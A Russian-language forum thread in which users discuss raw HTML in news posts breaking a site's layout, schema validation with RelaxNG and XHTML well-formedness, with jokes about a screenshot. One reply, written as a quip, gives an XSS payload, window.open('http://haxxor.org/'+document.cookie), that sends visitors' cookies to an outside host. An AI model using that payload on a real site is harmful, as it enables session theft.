Raw HTML - зло

Где?

>Где?

http://k0sm.org.ua/trash/sc1.jpg

Уже исправили.

Не вижу. Пофиксили чтоль

http://www.linux.org.ru/view-message.jsp?msgid=3017347

"Женский форум" ? О_о

интересно, а жава скриптовый алерт вставить можно? =)

Что за женский форум?

Женский форум?

Кто-то спалилсо...

LOL

Значит пора прикрутить проверку по схеме, RelaxNG там или ещё какой (ну и написать эту схему, собственно).

>Что за женский форум?

Это у k0l0b0k'а надо спрашивать, скриншот его.

>интересно, а жава скриптовый алерт вставить можно? =)

Ага, и window.open('http://haxxor.org/'+document.cookie)...

Зачем ещё один велосипедистый XML-язык, когда есть XHTML?

А вообще лучше легковесные языки разметки, типа Textile.

>Что за женский форум?

в гуголе набрал женский форум... там есть анимированные смайлики и мозгосекс... бесконечный мозгосекс

а? Я о том, что бы этот XHTML, введённый в новости, проверять на корректность перед сохранением. В простейшем случае если нужно просто вложенность/закрытость, то проверка ещё проще.

Был бы HTML злом - показало бы у всех Parsing error. А так - вполне себе добро, подумаешь, разметка слетела немножко.

А рядом варез. )

html точно так же можно проверять на well-formedность. Просто браузеры этого не делают, а надо бы. Да и 99% xhtml-страниц в интернете тоже не могут похвастаться правильно сформированной разметкой. Стоит поставить расширение к лисе Force Content-Type, которое заставит браузер использовать Expat вместо html-парсера, так сразу большинство сайтов тех самых ярых сторонников xhtml выдают Parse Error.

Ээээ... это просто супруги пользователь. Поэтому все несколько специфично :)